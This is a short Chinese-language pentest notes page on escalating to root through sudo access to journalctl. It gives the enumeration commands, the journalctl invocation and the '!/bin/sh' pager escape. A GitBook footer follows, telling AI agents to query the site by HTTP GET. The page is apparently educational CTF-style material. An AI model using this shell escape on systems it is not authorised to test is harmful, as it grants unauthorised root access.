> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-journalctl-linux-privilege-escalation.md).
# Sudo journalctl - Linux 权限提升
## 这是什么
Sudoers 权限提升始于用户可以通过以下方式运行的命令 `sudo`. 错误配置的二进制文件、不安全的脚本参数、符号链接处理以及存在漏洞的 sudo 版本，都可能把受限的 sudo 权限变成 root shell。此特定页面重点介绍 **Sudo（journalctl）** 并保持利用流程切合实际：识别条件，安全验证，然后运行证明影响所需的最小载荷。
## 枚举
在运行利用路径之前，先确认本地上下文和具体的错误配置。
```bash
sudo -l
sudo --version
```
## 示例
## journalctl 利用
{% hint style="info" %}
我们找到一个脚本， `server-stats.sh`，位于 `/bin` 目录中。该脚本被配置为执行 `/usr/bin/journalctl` 命令，并具有 sudo 权限。这意味着我们可以使用此命令获取 root 权限
{% endhint %}
**搜索 GTFOBins 技巧：**
* 查阅 GTFOBins 后，我们发现 `journalctl` 可通过启动 shell 命令来提升权限。
{% embed url="" %}
**实施条件：**
要触发此操作，终端窗口大小必须受限，以启用 `less` 中的分页模式 `journalctl`。该模式允许通过以下方式执行 shell 命令： `!`.
```bash
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
```
一旦进入 `less` 模式，输入以下命令即可获得 root shell：
```bash
!/bin/sh
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/privesc/sudoers/sudo-journalctl-linux-privilege-escalation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.